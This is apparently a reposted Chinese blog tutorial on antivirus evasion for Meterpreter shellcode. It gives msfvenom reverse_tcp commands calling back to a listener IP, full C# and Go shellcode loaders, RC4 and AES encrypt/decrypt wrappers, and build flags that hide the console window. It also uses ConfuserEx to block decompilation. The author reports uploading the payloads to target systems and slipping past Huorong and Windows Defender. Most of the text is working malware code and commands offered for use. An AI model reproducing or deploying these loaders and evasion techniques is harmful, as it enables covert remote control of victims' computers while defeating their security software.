• 免杀对抗-C#+go语言-混淆+防反编译+分离

    C#&NET-ShellCode-生成/上线

    一、生成：

    1.msf生成C#语言的shellcode

    命令：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.206.192 LPORT=4444 -e x86/shikata_ga_nai -i 15 -f csharp

    二、上线：

    1.c#语言shellcode加载代码：

    1. using System;
    2. using System.Runtime.InteropServices;
    3. namespace TCPMeterpreterProcess
    4. {
    5.     class Program
    6.     {
    7.         static void Main(string[] args)
    8.         {
    9.             // native function’s compiled code
    10.             // generated with metasploit
    11.             byte[] shellcode = new byte[] {msf生成的shellcode};
    12.  
    13.             UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
    14. MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    15.             Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
    16.             IntPtr hThread = IntPtr.Zero;
    17.             UInt32 threadId = 0;
    18.             // prepare data
    19.             IntPtr pinfo = IntPtr.Zero;
    20.             // execute native code
    21.             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
    22.             WaitForSingleObject(hThread, 0xFFFFFFFF);
    23.         }
    24.         private static UInt32 MEM_COMMIT = 0x1000;
    25.         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    26.         [DllImport("kernel32")]
    27.         private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
    28.         UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
    29.         [DllImport("kernel32")]
    30.         private static extern bool VirtualFree(IntPtr lpAddress,
    31.         UInt32 dwSize, UInt32 dwFreeType);
    32.         [DllImport("kernel32")]
    33.         private static extern IntPtr CreateThread(
    34.         UInt32 lpThreadAttributes,
    35.         UInt32 dwStackSize,
    36.         UInt32 lpStartAddress,
    37.         IntPtr param,
    38.         UInt32 dwCreationFlags,
    39.         ref UInt32 lpThreadId
    40.         );
    41.         [DllImport("kernel32")]
    42.         private static extern bool CloseHandle(IntPtr handle);
    43.         [DllImport("kernel32")]
    44.         private static extern UInt32 WaitForSingleObject(
    45.         IntPtr hHandle,
    46.         UInt32 dwMilliseconds
    47.         );
    48.         [DllImport("kernel32")]
    49.         private static extern IntPtr GetModuleHandle(
    50.         string moduleName
    51.         );
    52.         [DllImport("kernel32")]
    53.         private static extern UInt32 GetProcAddress(
    54.         IntPtr hModule,
    55.         string procName
    56.         );
    57.         [DllImport("kernel32")]
    58.         private static extern UInt32 LoadLibrary(
    59.         string lpFileName
    60.         );
    61.         [DllImport("kernel32")]
    62.         private static extern UInt32 GetLastError();
    63.     }
    64. }
     

    2.使用visual studio工具创建新项目

    3.使用以上加载代码将shellcode放入，执行代码，msf成功上线

    4.生成exe执行文件，上传到目标系统，被火绒杀死

    生成：

    上传：

    C#-shellocde免杀对抗-混淆

    Shellcode加密

    加密代码：

    1. using System;
    2. using System.Collections.Generic;
    3. using System.IO;
    4. using System.Linq;
    5. using System.Security.Cryptography;
    6. using System.Text;
    7. using System.Reflection;
    8. using System.Runtime.CompilerServices;
    9. using System.Runtime.InteropServices;
    10.  
    11. namespace Payload_Encrypt_Maker
    12. {
    13.     class Program
    14.     {
    15.         // 加密密钥，可以更改，加解密源码中保持KEY一致就行
    16.         static byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
    17.         static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
    18.         static byte[] payload = { 替换成MSF生成的shellcode }; 
    19.  
    20.         private static class Encryption_Class
    21.         {
    22.             public static string Encrypt(string key, string data)
    23.             {
    24.                 Encoding unicode = Encoding.Unicode;
    25.  
    26.                 return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
    27.             }
    28.  
    29.             public static byte[] Encrypt(byte[] key, byte[] data)
    30.             {
    31.                 return EncryptOutput(key, data).ToArray();
    32.             }
    33.  
    34.             private static byte[] EncryptInitalize(byte[] key)
    35.             {
    36.                 byte[] s = Enumerable.Range(0, 256)
    37.                   .Select(i => (byte)i)
    38.                   .ToArray();
    39.  
    40.                 for (int i = 0, j = 0; i < 256; i++)
    41.                 {
    42.                     j = (j + key[i % key.Length] + s[i]) & 255;
    43.  
    44.                     Swap(s, i, j);
    45.                 }
    46.  
    47.                 return s;
    48.             }
    49.  
    50.             private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
    51.             {
    52.                 byte[] s = EncryptInitalize(key);
    53.  
    54.                 int i = 0;
    55.                 int j = 0;
    56.  
    57.                 return data.Select((b) =>
    58.                 {
    59.                     i = (i + 1) & 255;
    60.                     j = (j + s[i]) & 255;
    61.  
    62.                     Swap(s, i, j);
    63.  
    64.                     return (byte)(b ^ s[(s[i] + s[j]) & 255]);
    65.                 });
    66.             }
    67.  
    68.             private static void Swap(byte[] s, int i, int j)
    69.             {
    70.                 byte c = s[i];
    71.  
    72.                 s[i] = s[j];
    73.                 s[j] = c;
    74.             }
    75.         }
    76.         static void Main(string[] args)
    77.         {
    78.             byte[] result = Encryption_Class.Encrypt(KEY, payload);
    79.             int b = 0;
    80.             for (int i = 0; i < result.Length; i++)
    81.             {
    82.                 b++;
    83.                 if (i == result.Length + 1)
    84.                 { Console.Write(result[i].ToString()); }
    85.                 if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
    86.             }
    87.         }
    88.     }
    89. }

    解码代码：

    1. using System;
    2. using System.Collections.Generic;
    3. using System.Linq;
    4. using System.Text;
    5. using System.Runtime.InteropServices;
    6. using System.Threading;
    7. using System.Reflection;
    8. using System.Runtime.CompilerServices;
    9.  
    10. namespace NativePayload_Reverse_tcp
    11. {
    12.     public class Program
    13.     {
    14.         public static void Main()
    15.         {
    16.             Shellcode.Exec();
    17.         }
    18.  
    19.     }
    20.  
    21.     class Shellcode
    22.     {
    23.         public static void Exec()
    24.         {
    25.             string Payload_Encrypted;
    26.             Payload_Encrypted = "经过加密的shellcode";
    27.             string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
    28.             byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
    29.             for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
    30.             {
    31.                 byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
    32.                 _X_to_Bytes[i] = current;
    33.             }
    34.             // 解密密钥，可以更改，加解密源码中保持KEY一致就行
    35.             byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
    36.             //byte[] KEY = { 0x33, 0x11, 0x33, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
    37.             byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
    38.             // 加载shellcode
    39.             IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
    40.             Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
    41.             CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
    42.             Thread.Sleep(2000);
    43.         }
    44.  
    45.         public static byte[] Decrypt(byte[] key, byte[] data)
    46.         {
    47.             return EncryptOutput(key, data).ToArray();
    48.         }
    49.         private static byte[] EncryptInitalize(byte[] key)
    50.         {
    51.             byte[] s = Enumerable.Range(0, 256)
    52.               .Select(i => (byte)i)
    53.               .ToArray();
    54.  
    55.             for (int i = 0, j = 0; i < 256; i++)
    56.             {
    57.                 j = (j + key[i % key.Length] + s[i]) & 255;
    58.                 Swap(s, i, j);
    59.             }
    60.  
    61.             return s;
    62.         }
    63.         private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
    64.         {
    65.             byte[] s = EncryptInitalize(key);
    66.  
    67.             int i = 0;
    68.             int j = 0;
    69.  
    70.             return data.Select((b) =>
    71.             {
    72.                 i = (i + 1) & 255;
    73.                 j = (j + s[i]) & 255;
    74.  
    75.                 Swap(s, i, j);
    76.  
    77.                 return (byte)(b ^ s[(s[i] + s[j]) & 255]);
    78.             });
    79.         }
    80.         private static void Swap(byte[] s, int i, int j)
    81.         {
    82.             byte c = s[i];
    83.  
    84.             s[i] = s[j];
    85.             s[j] = c;
    86.         }
    87.         [DllImport("kernel32.dll")]
    88.         public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    89.         [DllImport("kernel32.dll")]
    90.         public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    91.     }
    92. }

    1.msf生成shellcode

    命令：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.206.192 LPORT=4444 -f csharp

    2.执行加密代码，获取加密后的shellcode

    3.将加密后的shellcode放到解码代码中，生成exe执行程序，上传目标系统

    还是被逮了：

    防反编译项目-ConfuserEx

    介绍：上传脚本到目标系统时，很容易就会被杀软将脚本反编译检测，所以将脚本使用ConfuserEx项目进行保护，防止杀软反编译检测。

    ConfuserEx下载：https://github.com/yck1509/ConfuserEx

    付费项目：https://shell.virbox.com/?utm_source=baidu&bd_vid=7795485509211889742

    1.打开工具，将生成的exe程序拖入工具，然后如下图操作

    2.点击生成

    3.生成后的程序会保存在exe程序的根目录下生成Confused目录下

    4.正常上传到目标系统，成功绕过检测

    GO语言-ShellCode免杀-原型+混淆+分离

    1.cs生成c语言的shellcode，因为使用的go加载脚本加载的是byte流数据，所以打开shellcode将 / 替换为 ,0

    2.使用Visual studio Code 工具打开go加载脚本，将shellcode放入(shellcode后面加上","表示结束)

    新建终端

    执行加载脚本，命令：go run 文件名

    成功上线

    3.执行命令，将go文件编译为exe程序

    -编译1.go脚本

    go build 1.go

    -没有弹窗的exe命令编译：

    go build -ldflags="-H windowsgui -w -s" 1.go

    4.将exe上传目标系统，直接被秒杀。

    混淆-AES加密

    加密脚本：AES.go

    1. package main
    2. import (
    3.     "bytes"
    4.     "crypto/aes"
    5.     "crypto/cipher"
    6.     "encoding/base64"
    7.     "encoding/hex"
    8.     "fmt"
    9.     "math/rand"
    10.     "os"
    11.     "strings"
    12.     "time"
    13. )
    14. //随机生成key,后面用来解密的
    15. func key(l int) string {
    16.     str := "0123456789abcdefghijklmnopqrstuvwxyz"
    17.     bytes := []byte(str)
    18.     result := []byte{}
    19.     r := rand.New(rand.NewSource(time.Now().UnixNano()))
    20.     for i := 0; i < l; i++ {
    21.         result = append(result, bytes[r.Intn(len(bytes))])
    22.     }
    23.     return string(result)
    24. }
    25. //使用PKCS5进行填充用来
    26. func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
    27.     padding := blockSize - len(ciphertext)%blockSize
    28.     padtext := bytes.Repeat([]byte{byte(padding)}, padding)
    29.     return append(ciphertext, padtext...)
    30. }
    31. //进行aes加密
    32. func AesEncrypt(origData, key []byte) ([]byte, error) {
    33.     block, err := aes.NewCipher(key)
    34.     if err != nil {
    35.         return nil, err
    36.     }
    37.     blockSize := block.BlockSize()
    38.     origData = PKCS5Padding(origData, blockSize)
    39.     blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
    40.     crypted := make([]byte, len(origData))
    41.     blockMode.CryptBlocks(crypted, origData)
    42.     return crypted, nil
    43. }
    44. //主函数入口,对字符进行了处理
    45. func main() {
    46.     argsWithProg := os.Args
    47.     if len(argsWithProg) < 2 {
    48.         fmt.Println("usage : ", argsWithProg[0], " paylaod.c")
    49.         return
    50.     }
    51.     confFile := os.Args[1]
    52.     str2 := strings.Replace(confFile, "\\x", "", -1)
    53.     data, _ := hex.DecodeString(str2)
    54.     key1 := key(16)
    55.     fmt.Println("Key:", key1)
    56.     var key []byte = []byte(key1)
    57.     aes, _ := AesEncrypt(data, key)
    58.     encoded := base64.StdEncoding.EncodeToString(aes)
    59.     fmt.Println("Code:", encoded)
    60. }

    解密脚本：AES_jm.go

    1. package main
    2. import (
    3.     "crypto/aes"
    4.     "crypto/cipher"
    5.     "encoding/base64"
    6.     "os"
    7.     "syscall"
    8.     "unsafe"
    9. )
    10. //这一块是定义一些东西去加载我们的shellcode
    11. var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
    12. func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
    13.     ret, _, _ := procVirtualProtect.Call(
    14.         uintptr(lpAddress),
    15.         uintptr(dwSize),
    16.         uintptr(flNewProtect),
    17.         uintptr(lpflOldProtect))
    18.     return ret > 0
    19. }
    20. //shellcode执行函数
    21. func Run(sc []byte) {
    22.     f := func() {}
    23.     var oldfperms uint32
    24.     if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
    25.         panic("Call to VirtualProtect failed!")
    26.     }
    27.     **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    28.     var oldshellcodeperms uint32
    29.     if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
    30.         panic("Call to VirtualProtect failed!")
    31.     }
    32.     f()
    33. }
    34. //同样为了保证我们的shellcode正常运行要进行PKCS5的操作
    35. func PKCS5UnPadding(origData []byte) []byte {
    36.     length := len(origData)
    37.     unpadding := int(origData[length-1])
    38.     return origData[:(length - unpadding)]
    39. }
    40. //经典的aes解密操作
    41. func AesDecrypt(crypted, key []byte) ([]byte, error) {
    42.     block, err := aes.NewCipher(key)
    43.     if err != nil {
    44.         return nil, err
    45.     }
    46.     blockSize := block.BlockSize()
    47.     blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
    48.     origData := make([]byte, len(crypted))
    49.     blockMode.CryptBlocks(origData, crypted)
    50.     origData = PKCS5UnPadding(origData)
    51.     return origData, nil
    52. }
    53. //运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
    54. func main() {
    55.     key1 := os.Args[1]
    56.     payload1 := os.Args[2]
    57.     encoded2, _ := base64.StdEncoding.DecodeString(payload1)
    58.     var key []byte = []byte(key1)
    59.     AES, _ := AesDecrypt(encoded2, key)
    60.     Run(AES)
    61. }

    1.执行命令，运行AES加密脚本对shellcode进行aes加密

    命令：go run 文件名 生成的shellcode

    2.执行命令，编译解密脚本，运行AES解密加载代码

    -编译AES_jm.go脚本

    go build AES_jm.go

    -没有弹窗的exe命令编译：

    go build -ldflags="-H windowsgui -w -s" AES_jm.go

    命令：exe文件名 key 加密的shellcode

    成功上线

    3.上传AES_jm.exe到目标系统，被火绒秒杀。

    但是此方法可以过 Windows自带的Windows defender杀毒软件

    参数分离

    1、执行命令，使用msf生成shellcode

    命令：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=监听ip LPORT=端口 -f hex

    2.msf设置监听

    3.编译自写的go语言shellcode加载代码，执行编译后的exe程序。执行程序，msf成功上线

    命令：go build -ldflags "-s -w -H=windowsgui" 5.go

    命令：5.exe 生成的shellcode

    4.将5.exe上传到目标系统，执行程序，msf成功上线。成功绕过火绒检测

  • 相关阅读:
    7-279 字符串输入输出练习7-284 倒立的杨辉三角形
    【更新】囚生CYの备忘录（202331014~）
    【C++】类和对象 — 编译器对连续构造的优化 + 内部类（补充篇）
    Web音乐库：SpringBoot实现的音乐网站
    jenkins+centos7上传发布net6+gitlab
    Python(乱学)
    Java反射详解篇--一篇入魂
    计算机的 bit（比特）和Byte（字节）
    亚马逊云Amazon OpenSearch Serverless“利刃在手，‘向量’八方“
    操作系统知识点梳理-进程线程
  • 原文地址：https://blog.csdn.net/m0_51345235/article/details/133036336